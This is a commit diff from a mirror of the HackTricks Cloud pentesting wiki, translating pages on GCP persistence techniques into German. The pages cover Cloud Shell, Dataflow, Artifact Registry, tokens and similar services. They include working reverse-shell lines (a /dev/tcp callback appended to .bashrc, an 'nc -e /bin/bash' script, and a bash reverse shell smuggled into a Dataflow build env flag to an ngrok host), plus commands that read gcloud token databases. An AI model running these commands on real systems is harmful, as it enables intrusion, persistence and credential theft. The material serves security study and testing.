mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,6 +1 @@
|
||||
# GCP - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - Persistenz
|
||||
|
||||
@@ -1,25 +1,21 @@
|
||||
# GCP - API Keys Persistence
|
||||
# GCP - API-Schlüssel Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Keys
|
||||
## API-Schlüssel
|
||||
|
||||
For more information about API Keys check:
|
||||
Für weitere Informationen zu API-Schlüsseln siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Create new / Access existing ones
|
||||
### Neue erstellen / Bestehende zugreifen
|
||||
|
||||
Check how to do this in:
|
||||
Überprüfen Sie, wie Sie dies tun können in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-apikeys-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
For more information about App Engine check:
|
||||
Für weitere Informationen über App Engine siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify code
|
||||
### Code ändern
|
||||
|
||||
If yoi could just modify the code of a running version or create a new one yo could make it run your backdoor and mantain persistence.
|
||||
Wenn du den Code einer laufenden Version einfach ändern oder eine neue erstellen könntest, könntest du es dazu bringen, deine Backdoor auszuführen und die Persistenz aufrechtzuerhalten.
|
||||
|
||||
### Old version persistence
|
||||
### Persistenz der alten Version
|
||||
|
||||
**Every version of the web application is going to be run**, if you find that an App Engine project is running several versions, you could **create a new one** with your **backdoor** code, and then **create a new legit** one so the last one is the legit but there will be a **backdoored one also running**.
|
||||
**Jede Version der Webanwendung wird ausgeführt**, wenn du feststellst, dass ein App Engine-Projekt mehrere Versionen ausführt, könntest du **eine neue** mit deinem **Backdoor**-Code erstellen und dann **eine neue legitime** erstellen, sodass die letzte die legitime ist, aber es wird auch eine **backdoored Version** ausgeführt.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
Für weitere Informationen über das Artifact Registry siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,35 +12,31 @@ For more information about Artifact Registry check:
|
||||
|
||||
### Dependency Confusion
|
||||
|
||||
- What happens if a **remote and a standard** repositories **are mixed in a virtual** one and a package exists in both?
|
||||
- The one with the **highest priority set in the virtual repository** is used
|
||||
- If the **priority is the same**:
|
||||
- If the **version** is the **same**, the **policy name alphabetically** first in the virtual repository is used
|
||||
- If not, the **highest version** is used
|
||||
- Was passiert, wenn **remote und standard** Repositories **in einem virtuellen** gemischt werden und ein Paket in beiden existiert?
|
||||
- Das mit der **höchsten Priorität, die im virtuellen Repository festgelegt ist**, wird verwendet
|
||||
- Wenn die **Priorität gleich ist**:
|
||||
- Wenn die **Version** die **gleiche** ist, wird der **Policy-Name alphabetisch** zuerst im virtuellen Repository verwendet
|
||||
- Andernfalls wird die **höchste Version** verwendet
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's possible to **abuse a highest version (dependency confusion)** in a public package registry if the remote repository has a higher or same priority
|
||||
> Daher ist es möglich, eine **höchste Version (dependency confusion)** in einem öffentlichen Paket-Registry auszunutzen, wenn das remote Repository eine höhere oder gleiche Priorität hat
|
||||
|
||||
This technique can be useful for **persistence** and **unauthenticated access** as to abuse it it just require to **know a library name** stored in Artifact Registry and **create that same library in the public repository (PyPi for python for example)** with a higher version.
|
||||
Diese Technik kann nützlich sein für **Persistence** und **unauthenticated access**, da es nur erforderlich ist, **einen Bibliotheksnamen** zu kennen, der im Artifact Registry gespeichert ist, und **diese gleiche Bibliothek im öffentlichen Repository (PyPi für Python zum Beispiel)** mit einer höheren Version zu erstellen.
|
||||
|
||||
For persistence these are the steps you need to follow:
|
||||
Für Persistence sind dies die Schritte, die du befolgen musst:
|
||||
|
||||
- **Requirements**: A **virtual repository** must **exist** and be used, an **internal package** with a **name** that doesn't exist in the **public repository** must be used.
|
||||
- Create a remote repository if it doesn't exist
|
||||
- Add the remote repository to the virtual repository
|
||||
- Edit the policies of the virtual registry to give a higher priority (or same) to the remote repository.\
|
||||
Run something like:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Download the legit package, add your malicious code and register it in the public repository with the same version. Every time a developer installs it, he will install yours!
|
||||
- **Anforderungen**: Ein **virtuelles Repository** muss **existieren** und verwendet werden, ein **internes Paket** mit einem **Namen**, der im **öffentlichen Repository** nicht existiert, muss verwendet werden.
|
||||
- Erstelle ein remote Repository, falls es nicht existiert
|
||||
- Füge das remote Repository zum virtuellen Repository hinzu
|
||||
- Bearbeite die Richtlinien des virtuellen Repositories, um dem remote Repository eine höhere (oder gleiche) Priorität zu geben.\
|
||||
Führe etwas wie aus:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Lade das legitime Paket herunter, füge deinen schädlichen Code hinzu und registriere es im öffentlichen Repository mit der gleichen Version. Jedes Mal, wenn ein Entwickler es installiert, wird er deins installieren!
|
||||
|
||||
For more information about dependency confusion check:
|
||||
Für weitere Informationen über Dependency Confusion siehe:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/dependency-confusion
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
For more information about BigQuery check:
|
||||
Für weitere Informationen über BigQuery siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant further access
|
||||
### Gewähren Sie weiteren Zugriff
|
||||
|
||||
Grant further access over datasets, tables, rows and columns to compromised users or external users. Check the privileges needed and how to do this in the page:
|
||||
Gewähren Sie weiteren Zugriff auf Datensätze, Tabellen, Zeilen und Spalten für kompromittierte Benutzer oder externe Benutzer. Überprüfen Sie die benötigten Berechtigungen und wie Sie dies auf der Seite tun können:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
For more info about Cloud Functions check:
|
||||
Für weitere Informationen zu Cloud Functions siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,12 +12,8 @@ For more info about Cloud Functions check:
|
||||
|
||||
### Persistence Techniques
|
||||
|
||||
- **Modify the code** of the Cloud Function, even just the `requirements.txt`
|
||||
- **Allow anyone** to call a vulnerable Cloud Function or a backdoor one
|
||||
- **Trigger** a Cloud Function when something happens to infect something
|
||||
- **Ändern Sie den Code** der Cloud Function, sogar nur die `requirements.txt`
|
||||
- **Erlauben Sie jedem**, eine verwundbare Cloud Function oder eine Hintertür zu rufen
|
||||
- **Triggern** Sie eine Cloud Function, wenn etwas passiert, um etwas zu infizieren
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
Für weitere Informationen zu Cloud Run siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,14 @@ For more information about Cloud Run check:
|
||||
|
||||
### Backdoored Revision
|
||||
|
||||
Create a new backdoored revision of a Run Service and split some traffic to it.
|
||||
Erstellen Sie eine neue backdoored Revision eines Run-Dienstes und teilen Sie etwas Verkehr auf ihn auf.
|
||||
|
||||
### Publicly Accessible Service
|
||||
### Öffentlich zugänglicher Dienst
|
||||
|
||||
Make a Service publicly accessible
|
||||
Machen Sie einen Dienst öffentlich zugänglich.
|
||||
|
||||
### Backdoored Service or Job
|
||||
### Backdoored Dienst oder Job
|
||||
|
||||
Create a backdoored Service or Job
|
||||
Erstellen Sie einen backdoored Dienst oder Job.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,73 +1,63 @@
|
||||
# GCP - Cloud Shell Persistence
|
||||
# GCP - Cloud Shell Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistent Backdoor
|
||||
### Persistente Hintertür
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) bietet Ihnen direkten Zugriff auf Ihre Cloud-Ressourcen über die Befehlszeile direkt aus Ihrem Browser, ohne damit verbundene Kosten.
|
||||
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
Sie können auf Googles Cloud Shell über die **Web-Konsole** oder durch Ausführen von **`gcloud cloud-shell ssh`** zugreifen.
|
||||
|
||||
This console has some interesting capabilities for attackers:
|
||||
Diese Konsole hat einige interessante Fähigkeiten für Angreifer:
|
||||
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
|
||||
1. **Jeder Google-Nutzer mit Zugriff auf Google Cloud** hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (Dienstkonten können dies, selbst wenn sie Eigentümer der Organisation sind).
|
||||
2. Diese Instanz wird **ihr Home-Verzeichnis für mindestens 120 Tage beibehalten**, wenn keine Aktivität stattfindet.
|
||||
3. Es gibt **keine Möglichkeiten für eine Organisation, die Aktivität** dieser Instanz zu überwachen.
|
||||
|
||||
Das bedeutet im Grunde, dass ein Angreifer eine Hintertür im Home-Verzeichnis des Benutzers platzieren kann, und solange der Benutzer alle 120 Tage mindestens eine Verbindung zur GC Shell herstellt, wird die Hintertür überleben und der Angreifer erhält jedes Mal eine Shell, wenn sie ausgeführt wird, indem er einfach:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
|
||||
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
|
||||
|
||||
Es gibt eine weitere Datei im Home-Verzeichnis namens **`.customize_environment`**, die, falls sie existiert, **jedes Mal** ausgeführt wird, wenn der Benutzer auf die **cloud shell** zugreift (wie in der vorherigen Technik). Fügen Sie einfach die vorherige Hintertür oder eine ähnliche wie die folgende ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die **cloud shell** "häufig" verwendet:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
|
||||
> Es ist wichtig zu beachten, dass beim **ersten Mal, wenn eine Aktion, die eine Authentifizierung erfordert, ausgeführt wird**, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, könnte dies Verdacht erregen und potenziell die verwendete Persistenzmethode gefährden.
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
Dies ist das Pop-up von der Ausführung von `gcloud projects list` aus der Cloud-Shell (als Angreifer) im Benutzer-Sitzung des Browsers gesehen:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
|
||||
|
||||
Wenn der Benutzer jedoch die Cloud-Shell aktiv genutzt hat, erscheint das Pop-up nicht und Sie können **Tokens des Benutzers mit**:
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
#### Wie die SSH-Verbindung hergestellt wird
|
||||
|
||||
#### How the SSH connection is stablished
|
||||
Grundsätzlich werden diese 3 API-Aufrufe verwendet:
|
||||
|
||||
Basically, these 3 API calls are used:
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (wird Sie auffordern, Ihren lokal erstellten öffentlichen Schlüssel hinzuzufügen)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (wird Sie auffordern, die Instanz zu starten)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (wird Ihnen die IP des Google Cloud Shell mitteilen)
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
|
||||
Weitere Informationen finden Sie unter [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,38 +4,34 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
For more information about Cloud SQL check:
|
||||
Für weitere Informationen zu Cloud SQL siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Expose the database and whitelist your IP address
|
||||
### Datenbank exponieren und Ihre IP-Adresse auf die Whitelist setzen
|
||||
|
||||
A database only accessible from an internal VPC can be exposed externally and your IP address can be whitelisted so you can access it.\
|
||||
For more information check the technique in:
|
||||
Eine Datenbank, die nur von einem internen VPC zugänglich ist, kann extern exponiert werden und Ihre IP-Adresse kann auf die Whitelist gesetzt werden, damit Sie darauf zugreifen können.\
|
||||
Für weitere Informationen siehe die Technik in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Create a new user / Update users password / Get password of a user
|
||||
### Neuen Benutzer erstellen / Benutzerpasswort aktualisieren / Passwort eines Benutzers abrufen
|
||||
|
||||
To connect to a database you **just need access to the port** exposed by the database and a **username** and **password**. With e**nough privileges** you could **create a new user** or **update** an existing user **password**.\
|
||||
Another option would be to **brute force the password of an user** by trying several password or by accessing the **hashed** password of the user inside the database (if possible) and cracking it.\
|
||||
Remember that **it's possible to list the users of a database** using GCP API.
|
||||
Um sich mit einer Datenbank zu verbinden, **benötigen Sie nur Zugriff auf den Port**, der von der Datenbank exponiert wird, sowie einen **Benutzernamen** und ein **Passwort**. Mit **ausreichenden Berechtigungen** könnten Sie **einen neuen Benutzer erstellen** oder das **Passwort** eines bestehenden Benutzers **aktualisieren**.\
|
||||
Eine weitere Möglichkeit wäre, das **Passwort eines Benutzers zu brute-forcen**, indem Sie mehrere Passwörter ausprobieren oder auf das **gehashte** Passwort des Benutzers in der Datenbank (wenn möglich) zugreifen und es knacken.\
|
||||
Denken Sie daran, dass **es möglich ist, die Benutzer einer Datenbank** über die GCP API aufzulisten.
|
||||
|
||||
> [!NOTE]
|
||||
> You can create/update users using GCP API or from inside the databae if you have enough permissions.
|
||||
> Sie können Benutzer über die GCP API oder von innerhalb der Datenbank erstellen/aktualisieren, wenn Sie über ausreichende Berechtigungen verfügen.
|
||||
|
||||
For more information check the technique in:
|
||||
Für weitere Informationen siehe die Technik in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,20 +4,16 @@
|
||||
|
||||
## Compute
|
||||
|
||||
For more informatoin about Compute and VPC (Networking) check:
|
||||
Für weitere Informationen zu Compute und VPC (Netzwerk) siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence abusing Instances & backups
|
||||
### Persistenz durch Ausnutzung von Instanzen & Backups
|
||||
|
||||
- Backdoor existing VMs
|
||||
- Backdoor disk images and snapshots creating new versions
|
||||
- Create new accessible instance with a privileged SA
|
||||
- Backdoor bestehende VMs
|
||||
- Backdoor Festplattenabbilder und Snapshots durch Erstellen neuer Versionen
|
||||
- Erstellen Sie eine neue zugängliche Instanz mit einem privilegierten SA
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,10 +4,9 @@
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Invisible persistence in built container
|
||||
|
||||
Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
|
||||
### Unsichtbare Persistenz im erstellten Container
|
||||
|
||||
Folgend dem [**Tutorial aus der Dokumentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) kannst du eine neue (z.B. Python) Flex-Vorlage erstellen:
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -19,39 +18,32 @@ gcloud storage buckets create gs://$REPOSITORY
|
||||
# Create artifact storage
|
||||
export NAME_ARTIFACT=flex-example-python
|
||||
gcloud artifacts repositories create $NAME_ARTIFACT \
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
gcloud auth configure-docker us-central1-docker.pkg.dev
|
||||
|
||||
# Create template
|
||||
export NAME_TEMPLATE=flex-template
|
||||
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**Während es gebaut wird, erhalten Sie eine Reverse-Shell** (Sie könnten Umgebungsvariablen wie im vorherigen Beispiel oder andere Parameter missbrauchen, die die Docker-Datei festlegen, um beliebige Dinge auszuführen). In diesem Moment ist es innerhalb der Reverse-Shell möglich, **in das Verzeichnis `/template` zu gehen und den Code des Haupt-Python-Skripts zu ändern, das ausgeführt wird (in unserem Beispiel ist dies `getting_started.py`)**. Setzen Sie hier Ihre Hintertür, damit sie jedes Mal ausgeführt wird, wenn der Job ausgeführt wird.
|
||||
|
||||
**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
|
||||
|
||||
Then, next time the job is executed, the compromised container built will be run:
|
||||
|
||||
Dann wird beim nächsten Mal, wenn der Job ausgeführt wird, der kompromittierte Container ausgeführt:
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## Filestore
|
||||
|
||||
For more information about Filestore check:
|
||||
Für weitere Informationen über Filestore siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give broader access and privileges over a mount
|
||||
### Breiteren Zugriff und Berechtigungen über ein Mount gewähren
|
||||
|
||||
An attacker could **give himself more privileges and ease the access** to the share in order to maintain persistence over the share, find how to perform this actions in this page:
|
||||
Ein Angreifer könnte **sich selbst mehr Berechtigungen geben und den Zugriff** auf das Share erleichtern, um die Persistenz über das Share aufrechtzuerhalten. Finde heraus, wie man diese Aktionen auf dieser Seite durchführt:
|
||||
|
||||
{{#ref}}
|
||||
gcp-filestore-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Logging
|
||||
|
||||
Find more information about Logging in:
|
||||
Finden Sie weitere Informationen zu Logging in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,14 +12,8 @@ Find more information about Logging in:
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Create a sink to exfiltrate the logs to an attackers accessible destination:
|
||||
|
||||
Erstellen Sie einen Sink, um die Protokolle an ein für Angreifer zugängliches Ziel zu exfiltrieren:
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,74 +1,61 @@
|
||||
# GCP - Token Persistance
|
||||
# GCP - Token Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authenticated User Tokens
|
||||
|
||||
To get the **current token** of a user you can run:
|
||||
### Authentifizierte Benutzertoken
|
||||
|
||||
Um das **aktuelle Token** eines Benutzers zu erhalten, können Sie Folgendes ausführen:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
|
||||
Check in this page how to **directly use this token using gcloud**:
|
||||
Überprüfen Sie auf dieser Seite, wie Sie **dieses Token direkt mit gcloud verwenden**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
|
||||
{{#endref}}
|
||||
|
||||
To get the details to **generate a new access token** run:
|
||||
|
||||
Um die Details zur **Generierung eines neuen Zugriffstokens** zu erhalten, führen Sie aus:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Es ist auch möglich, Refresh-Token in **`$HOME/.config/gcloud/application_default_credentials.json`** und in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** zu finden.
|
||||
|
||||
It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
To get a new refreshed access token with the **refresh token**, client ID, and client secret run:
|
||||
|
||||
Um ein neues aktualisiertes Zugriffstoken mit dem **Refresh-Token**, der Client-ID und dem Client-Secret zu erhalten, führen Sie aus:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:
|
||||
Die Gültigkeit der Refresh-Token kann in **Admin** > **Sicherheit** > **Google Cloud-Sitzungskontrolle** verwaltet werden, und standardmäßig ist sie auf 16 Stunden eingestellt, obwohl sie so eingestellt werden kann, dass sie niemals abläuft:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
|
||||
The authentication flow when using something like `gcloud auth login` will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool:
|
||||
### Auth-Flow
|
||||
|
||||
Der Authentifizierungsfluss bei der Verwendung von etwas wie `gcloud auth login` öffnet ein Eingabeaufforderung im Browser, und nachdem alle Berechtigungen akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den von dem Tool geöffneten HTTP-Port:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
|
||||
